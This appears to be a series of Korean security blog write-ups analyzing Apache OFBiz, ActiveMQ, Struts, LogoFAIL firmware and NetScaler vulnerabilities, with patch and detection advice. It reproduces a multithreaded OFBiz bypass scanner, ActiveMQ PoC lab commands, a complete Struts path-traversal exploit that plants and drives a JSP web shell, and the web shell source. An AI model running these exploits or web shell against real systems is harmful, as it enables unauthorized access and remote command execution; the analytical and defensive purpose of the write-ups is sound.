1. Apache OfBiz [1]

- 오픈 소스 ERP(Enterprise Resource Planning) 시스템

- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-51467 [2]

 

- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점

> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨

영향받는 버전
- Apache OFbiz 18.12.11 이전 버전

 

CVE-2023-49070 [3]
- 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8)
더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5]
사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6]
- PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7]
- 영향받는 버전: Apache OFBIz 18.12.10 이전 버전

 

2.1 취약점 상세

- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]

> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값requirePasswordChange는 Y로 설정하여 요청 전송

 

2.1.1 케이스 ①

- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우

※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값

Target_URL/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #437 ~ #448)는 requirePasswordChange 값을 반환 [10]

List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.username_was_empty_reenter”, UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.password_was_empty_reenter”, UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = “Y”.equals(request.getParameter(“requirePasswordChange”));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute(“_ERROR_MESSAGE_LIST_”, unpwErrMsgList);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

- 그 후, login 함수의 반환 값이 checkLogin 함수(LoginWorker.java 파일 #343 ~ #346) 에 전달

> 결과적으로 "success"를 반환하여 인증을 우회 [11]

if (userLogin == null) {
// check parameters
username = request.getParameter(“USERNAME”);
password = request.getParameter(“PASSWORD”);
token = request.getParameter(“TOKEN”);
// check session attributes
if (username == null) username = (String) session.getAttribute(“USERNAME”);
if (password == null) password = (String) session.getAttribute(“PASSWORD”);
if (token == null) token = (String) session.getAttribute(“TOKEN”);
if (username == null || (password == null && token == null) || “error”.equals(login(request, response))) {

 

2.1.2 케이스 ②

- USERNAME 및 PASSWARD는 임의의 값, requirePasswordChange는 Y로 설정한 경우

Target_URL/webtools/control/ping?USERNAME=test&PASSWORD=test&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #601 ~ #605)는 requirePasswordChange 값을 반환 [12]

> 결과적으로 "success"를 반환하여 인증을 우회

} else {
Map<String, String> messageMap = UtilMisc.toMap(“errorMessage”, (String) result.get(ModelService.ERROR_MESSAGE));
String errMsg = UtilProperties.getMessage(resourceWebapp, “loginevents.following_error_occurred_during_login”, messageMap, UtilHttp.getLocale(request));
request.setAttribute(“_ERROR_MESSAGE_”, errMsg);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

2.2 PoC [13]

- 대상 URL 취약점에 영향받는지 확인하는 스캐너
> 매개변수를 USERNAME, PASSWORD, requirePasswordChange 조작하여 요청 전송

import os
import argparse
import requests
import concurrent.futures

from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()


class CVE_2023_51467:
    def __init__(self, urls: List[str], threads: int, output_file: str):
        self.urls = urls
        self.threads = threads
        self.output_file = output_file
        self.file_lock = Lock()

    def check_url(self, base_url: str) -> Optional[str]:
        parsed_url = urlparse(base_url)
        schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
        for scheme in schemes:
            url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
            if self.is_url_accessible(url):
                return url
        return None

    def is_url_accessible(self, url: str) -> bool:
        try:
            response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
            return response.status_code < 500
        except requests.RequestException:
            return False

    def scan_url(self, base_url: str):
        target_url = self.check_url(base_url)

        if target_url:
            try:
                response = requests.get(
                    f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
                    verify=False,
                    timeout=10,
                    allow_redirects=True,
                )

                if response.status_code == 200 and "PONG" in response.text:
                    console.log(
                        f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
                    )
                    vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
                    with self.file_lock:
                        with open(self.output_file, "a") as file:
                            file.write(vulnerable_url)
            except Exception as e:
                console.log(f"Error scanning {base_url}: {e}")

    def run(self):
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(
                max_workers=self.threads
            ) as executor:
                future_to_url = {
                    executor.submit(self.scan_url, url): url for url in self.urls
                }
                for _ in concurrent.futures.as_completed(future_to_url):
                    bar()


def main():
    script_name = os.path.basename(__file__)
    parser = argparse.ArgumentParser(
        description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
        epilog=f"Example usage:\n"
        f"    python {script_name} -u http://example.com\n"
        f"    python {script_name} -f urls.txt -o output.txt -t 50",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url", help="Single URL to send GET request to")
    parser.add_argument(
        "-f", "--file", help="File containing list of base URLs to scan"
    )
    parser.add_argument(
        "-o",
        "--output",
        default="output.txt",
        help="File to write vulnerable systems to",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads to use",
    )
    args = parser.parse_args()

    urls = []
    if args.file:
        with open(args.file, "r") as file:
            urls = [line.strip() for line in file]
    elif args.url:
        urls.append(args.url)
    else:
        console.log("No URL or file provided")
        return

    scanner = CVE_2023_51467(urls, args.threads, args.output)
    scanner.run()


if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [14]

> login 함수에 requirePasswordChange 값 대신 Error Message를 출력하도록 변경

> checkLogin 함수에 UtilValidate.isEmpty() 함수를 추가해 빈 값 여부 확인

제품명 영향받는 버전 해결 버전
Apache OFBiz 18.12.11 이전 버전 18.12.11

 

- 탐지 정책 적용 등 모니터링 수행

alert tcp any any -> any any (msg:"CVE-2023-51467 Apache OFBiz"; flow:to_server,established; content:"GET"; http_method; content:"/webtools/control/"; http_uri; content:"USERNAME="; http_uri; content:"&PASSWORD="; http_uri; content:"&requirePasswordChange=Y"; http_uri; rev:1;)

 

4. 참고

[1] https://ofbiz.apache.org/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51467
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-49070
[4] https://issues.apache.org/jira/plugins/servlet/mobile#issue/OFBIZ-12812
[5] https://github.com/advisories/GHSA-6vwp-35w3-xph8
[6] https://github.com/apache/ofbiz-framework/commit/c59336f604
[7] https://twitter.com/Siebene7/status/1731870759130427726
[8] https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
[9] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
[10] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L391C5-L607C6
[11] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L323C5-L381C6
[12] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L601C11-L605C78
[13] https://github.com/Chocapikk/CVE-2023-51467
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71272&menuNo=205020
[15] https://www.boannews.com/media/view.asp?idx=125343&page=1&kind=1

1. Apache ActiveMQ [1][2]

- 자바로 만든 오픈소스 메세지 브로커로, 다양한 언어를 이용하는 시스템간의 통신을 할 수 있게 함

- 가장 대중적이고 강력한 오픈 소스 메세징 그리고 통합 패턴 서버

- 클라이언트 간 메시지를 송수신 할 수 있는 오픈 소스 Broker(JMS 서버)

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46604 [3]

 

- ActiveMQ에서 내부적으로 사용하는 OpenWire 프로토콜에서 불충분한 클래스 역직렬화 검증으로 인해 발생 (CVSS: 10.0)

> ActiveMQ 서버가 외부에 노출된 경우 공격에 악용될 수 있음 

조건 ① OpenWire 포트 61616에 엑세스 가능

조건 ② 데이터 유형이 31인 OpenWire 패킷 전송

> 암호화폐 채굴 악성코드 또는 랜섬웨어 유포 등 악용 사례가 발견되는 중

- 영향받는 버전
① Apache ActiveMQ
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.15.16 이전 버전

② Apache ActiveMQ Legacy OpenWire Module
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.8.0 ~ 5.15.16 이전 버전

 

[사진 2] SHODAN 검색 결과 (product:"ActiveMQ OpenWire Transport" / product:"ActiveMQ OpenWire Transport" port:61616)

 

[사진 3] 취약점 악용 공격 IP [4]

 

2.1 취약점 상세 [5][6][7]

- 입력에서 데이터 스트림을 수신하면 OpenWireFormat.doUnmarshal 메서드를 통해 언마셜을 수행

> 언마셜이란 XML을 Java Object로 변환하는 것을 의미 (반대의 과정을 마셜이라 함)

> 언마셜 과정은 BaseDataStreamMarshaller에 의존

 

- ActiveMQ에는 각각의 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller이 존재

> 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인해 사용할 Marshaller를 결정 [8]

 

- 데이터 타입이 31(EXCEPTION_RESPONSE)일 경우 ExceptionResponseMarshaller을 이용해 언마셜 수행

> 해당 취약점은 ExceptionResponse 데이터에서 생성된 클래스의 유효성을 검사하지 못하여 발생

 

2.2 취약점 실습

- ActiveMQ 실행

> default ID/PW: admin/admin

wget hxxps://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
tar -zxvf apache-activemq-5.18.2-bin.tar.gz
cd apache-activemq-5.18.2/bin/
./activemq start

 

[사진 4] ApachMQ 실행 및 버전 확인

 

- PoC 다운 및 수정 [9]

> PoC 수행 전 tmp 디렉터리에 success 파일은 존재하지 않는 상태

git clone hxxps://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
vi poc.xml

 

[사진 5] PoC 수정
[사진 6] ls /tmp/success

 

- PoC 수행

> PoC 수행 결과 404 Error를 반환하며 다른 PoC를 수행해 보았으나 동일 결과 반환

> PoC가 정상 수행될 경우 /tmp/success 파일이 생성

python3 -m http.server
go run main.go -i 127.0.0.1 -u http://localhost:8000/poc.xml

 

[사진 7] PoC 결과 404 반환
[사진 8] PoC 패킷 캡쳐

 

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [10]

- validateIsThrowable 메서드를 추가

> 제공된 클래스가 Throwable 클래스 확장 유무 확인

> Throwable을 확장하지 않으면 해당 클래스가 Throwable에 할당할 수 없음을 나타내는 "IlalgalArgumentException" 오류 메시지 생성

제품명 영향받는 버전 해결 버전
Apache ActiveMQ 5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.15.16 이전 버전 5.15.16
Apache ActiveMQ
Legacy OpenWire Module
5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.8.0 ~ 5.15.16 이전 버전 5.15.16

 

[사진 9]&nbsp;validateIsThrowable

 

② OpenWire 프로토콜 비활성화

③ 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://activemq.apache.org/
[2] https://velog.io/@rlaghwns1995/Apache-ActiveMQ%EC%9D%98-%EA%B8%B0%EB%B3%B8
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-46604
[4] https://viz.greynoise.io/tag/apache-activemq-rce-attempt?days=30
[5] https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604
[6] https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
[7] https://www.uptycs.com/blog/apache-activemq-cve-2023-46604?hs_amp=true
[8] https://github.com/apache/activemq-openwire/blob/main/openwire-core/src/main/java/org/apache/activemq/openwire/commands/CommandTypes.java#L78
[9] https://github.com/X1r0z/ActiveMQ-RCE
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71236
[11] https://www.boannews.com/media/view.asp?idx=123384&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=123822&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=124844&direct=mobile

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164 [1]

 

- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)

- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨

영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음

 

2.1 취약점 상세 [3][4][5][6]

- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출

> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]

> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨

[사진 2]  FileUploadInterceptor

 

- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송

> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생

> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐

 

[사진 3] 조작된 POST 요청 전송

 

2.2 PoC [7]

- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2


def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
        CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)

 

- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String output = "";
    if (cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd, null, null);
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((s = sI.readLine()) != null) {
                output += s + "\n";
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
%>
<%=output %>

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8]

> 업로드 후 임시 파일이 삭제되도록 보장

> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경

제품명 영향받는 버전 해결 버전
Struts 6.0.0 ~ 6.3.0 6.3.0.2
2.0.0 ~ 2.3.37(EOL)
2.5.0 ~ 2.5.32
2.5.33

 

- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)

- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1

1. 개요

- 세계 3대 BIOS 회사(Insyde, AMI, Phoenix)에서 만든 제품 전부에 영향을 주는(세계 PC 95%) 취약점이 발견 [1]

> 여러 취약점들을 통합한 이름으로 LogoFAIL 취약점으로 명명

> IBV(Independent BIOS Vendor)는 UEFI 펌웨어가 포함된 최신 시스템에 대해 다양한 형식의 이미지 파서를 제공

> 사용자 정의 로고를 통해 입력을 지정할 수 있으며, DXE 단계에서 취약점이 발생하는 것으로 판단됨 

- 취약점을 악용하는데 성공할 경우 엔드포인트에 존재하는 모든 보안 장치들이 무력화되며, 높은 권한을 획득

[사진 1] LogoFAIL

1.1 UEFI (Unified Extensible Firmware Interface) [2][3]

- 통합 확장 펌웨어 인터페이스
- 운영 체제와 플랫폼 펌웨어 사이의 소프트웨어 인터페이스를 정의하는 규격
- BIOS를 대체하는 펌웨어 규격으로, 16비트 BIOS의 제약 사항 극복 및 새로운 하드웨어의 유연한 지원을 위해 64비트 기반으로 개발

 

1.2 ESP (EFI system partition) [2][4]

- PC가 부팅되면 UEFI는 EFI 파티션에 저장된 파일을 로드하여 운영 체제 및 기타 필요한 유틸리티를 시작

 

1.3 DXE (Driver Execution Environment) [2][5]

- 대부분의 시스템 초기화가 수행

 

2. 취약점

- 3대 BIOS는 다양한 이미지 파서를 제공

> 이미지 파서는 부팅이나 BIOS 설정 중에 로고를 표시할 수 있도록 하기 위해 존재

> 벤더사는 사용자가 파서에 입력을 지정할 수 있는 사용자 정의 기능을 제공하며, 해당 기능이 취약점을 야기

Insyde 기반 펌웨어: BMP, GIF, JPEG, PCX, PNG, TGA 파서
AMI 기반 펌웨어: 단일 BMP 파서, BMP, PNG, JPEG, GIF 파서
※ Phoenix 기반 펌웨어: BMP, GIF, JPEG 파서

※ 제공하는 파서는 다를 수 있음

[사진 2] Insyde(上) AMI(中) Phoenix(下) 이미지 파서

 

- 침해된 이미지들을 EFI 시스템 파티션(ESP)이나 서명이 되지 않은 펌웨어 업데이트 영역에 삽입해 악성코드 실행

> 시스템 부팅 과정 자체를 공격자가 하이재킹 하는 것

> Secure Boot, Intel Boot Guard와 같은 보안 장치를 우회할 수 있으며, OS 단 밑에서 공격을 지속시키는 것도 가능

※ Secure Boot, Intel Boot Guard : 부팅시 펌웨어의 유효성 즉, 펌웨어의 서명을 확인해 유효한 경우 부팅을 시작 (서명을 이용해 부팅 프로세스를 검증) [6][7]

 

2.1 취약점 상세

- 일반적으로 로고는 펌웨어 볼륨에서 직접 읽어짐

> 볼륨은 하드웨어 기반 자체 검사 부팅 기술(예: Intel Boot Guard)로 서명 및 보호

> 공격자는 해당 섹션에 서명하는 데 사용된 OEM 캐인 키가 아닌 한 사용자 정의 로고를 사용할 수 없음

> OEM별 사용자 정의를 통해 로고를 사용할 수 있으며, 공격자 또한 동일한 방법이 사용 가능

※ OEM(Original Equipment Manufacturing): '주문자 상표 부착 생산', 주문자는 제품 계발 및 참여만 직접 하고, 생산은 하청업체나 다른 생산 라인 등에 외주

 

- OEM별 사용자 정의 로고를 읽는 방법은 다음과 같음

① 로고는 “\EFI\OEM\Logo.jpg” 와 같이 ESP의 고정 위치에서 읽혀짐

② OEM/IBV는 사용자 정의 로고를 설치하고 OS에서 캡슐을 플래시할 수 있는 공급업체별 통합 도구를 제공

③ NVRAM 변수에는 로고를 읽는 ESP 경로가 포함

④ 로고 자체는 압축된 형태로 NVRAM 변수 내에 저장

> 로고가 포함된 펌웨어 영역이 Boot Guard에 포함되지 않으면 공격에 악용될 수 있음

 

- 분석 결과 Insyde의 PNG 파서를 제외한 모든 파서는 하나 이상의 취약점이 존재

> 총 29개 중 15개는 임의 코드 실행을 야기

IBV 벤더 이미지 파서 고유한 근본 원인 수 악용 가능한 근본 원인 수 CWE
Insyde BMP 3 2 CWE-200: 민감한 정보 노출 
CWE-122: 힙 기반 버퍼 오버플로
GIF 4 2 CWE-122: 힙 기반 버퍼 오버플로 
CWE-125: 범위를 벗어난 읽기
JPEG 3 0 CWE-125: 범위를 벗어난 읽기 
CWE-476: NULL 포인터 역참조
PCX 1 0 CWE-200: 민감한 정보의 노출
PNG 0 0 -
TGA 1 1 CWE-122: 힙 기반 버퍼 오버플로
CWE-125: 범위를 벗어난 읽기
AMI BMP 1 0 CWE-200: 민감한 정보의 노출
GIF 2 2 CWE-122: 힙 기반 버퍼 오버플로 
CWE-787: 범위를 벗어난 쓰기
JPEG 3 2 CWE-125: 범위를 벗어난 읽기
CWE-787: 범위를 벗어난 쓰기
PNG 6 4 CWE-122: 힙 기반 버퍼 오버플로
CWE-125: 범위를 벗어난 읽기
CWE-190: 정수 오버플로
Phoenix BMP 3 1 CWE-122: 힙 기반 버퍼 오버플로
CWE-125: 범위를 벗어난 읽기
GIF 2 1 CWE-125: 범위를 벗어난 읽기

 

2.2 원인 및 PoC

- 근본적인 원인은 입력 데이터에 대한 유효성 검사의 부족

[사진 3] Insyde 펌웨어 BMP 파서 OOB 취약점

 

① Insyde 의 BMP 파서 버그

> RLE4/RLE8 압축을 지원하는 코드에서 취약점 발생

> PixelHeight (공격자 제어 가능) 및 변수 i 가 0 일 때 발생

> 이 경우 변수 Blt 는 BltBuffer [ PixelWidth * -1] 의 주소 로 초기화

> 공격자는 Blt를 BltBuffer 아래의 임의의 주소로 임의로 설정할 수 있음

 

[사진 4] AMI 펌웨어 PNG 파서 정수 오버플로

 

AMI 펌웨어 PNG 파서 버그

> 첫 번째 버그: 실패 시 NULL을 반환하는 "EfiLibAllocateZeroPool" 함수 의 반환 값에 대한 검사 누락

> 두 번째 버그: 할당 크기를 나타내는 32비트 정수의 정수 오버플로

※ 공격자가 변수 "PngWidth"를 큰 값으로 설정시 2를 곱한 결과가 오버플로되어 작은 값 할당(예: 0x80000200 * 2 = 0x400)

 

[사진 5] LogoFAIL 동작 과정

 

[영상 1] LogoFAIL 시연 영상

 

3. 참고

[1] https://binarly.io/posts/finding_logofail_the_dangers_of_image_parsing_during_system_boot/
[2] https://en.wikipedia.org/wiki/UEFI
[3] https://namu.wiki/w/UEFI
[4] https://en.wikipedia.org/wiki/EFI_system_partition
[5] https://uefi.org/specs/PI/1.8/V2_Overview.html
[6] https://learn.microsoft.com/ko-kr/windows-hardware/design/device-experiences/oem-secure-boot
[7] https://github.com/corna/me_cleaner/wiki/Intel-Boot-Guard
[8] https://www.boannews.com/media/view.asp?idx=124406&page=4&kind=1

'취약점 > Hijacking' 카테고리의 다른 글

GitLab EE/CE 계정 탈취 취약점 (CVE-2023-7028)  (0) 2024.01.16

1. NetScaler ADC 및 NetScaler Gateway

- 네트워크를 통해 제공되는 애플리케이션 및 서비스의 성능, 보안, 가용성을 향상시키는 데 사용되는 네트워킹 제품

> NetScaler ADC: 네트워크 내에서 애플리케이션 제공을 최적화하고 보호하는 데 중점
> NetScaler Gateway: 해당 애플리케이션과 내부 리소스에 대한 안전한 원격 액세스를 제공하는 데 중점

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966 [1]

 

- NetScaler 장비를 게이트웨이(VPN 가상 서버, ICA 프록시, CVPN, RDP 프록시) 또는 AAA 가상 서버로 구성한 경우 발생하는 취약점 (CVSS: 9.4)

> BoF로 인해 메모리 값을 반환하며, 그 중 세션 쿠키 등 유효한 값이 포함되어 있어 세션 하이재킹으로 인증 우회가 가능

> 여러 공격 그룹에서 취약점을 악용해 랜섬웨어 등을 유포하고 있어 벤더사 및 CISA에서 패치 촉구 [2]

※ AAA (Authentication, Authorization, Accounting) [3][4]
⒜ 세 가지의 독립적이면서도 서로 관련된 구성 요소로 이루어진 프레임워크
⒝ 불법적인 네트워크 서비스 사용을 방지하고자 사용자 인증, 권한제어, 과금을 위해 다양한 네트워크 기술과 플랫폼들에 대한 개별 규칙들을 조화시키기 위한 프레임워크
⒞ 일반적으로 서버-클라이언트로 구성
⒟ Authentication (인증) : 사용자의 접근을 결정하기 위해 사용자의 신원을 검증하는 과정
⒠ Authorization (권한부여) : 사용자의 신원 검증 후 리소스에 대한 접근 권한 및 정책을 결정
⒡ Accounting (계정관리) : 사용자의 활동을 기록, 수집하여 과금, 감사, 보고서 기능을 제공

 

영향받는 버전
- NetScaler ADC 및 NetScaler Gateway 14.1(14.1-8.50 이전)
- 13.1-49.15 이전의 NetScaler ADC 및 NetScaler Gateway 13.1
- 13.0-92.19 이전의 NetScaler ADC 및 NetScaler Gateway 13.0
- 13.1-37.164 이전의 NetScaler ADC 13.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-NDcPP
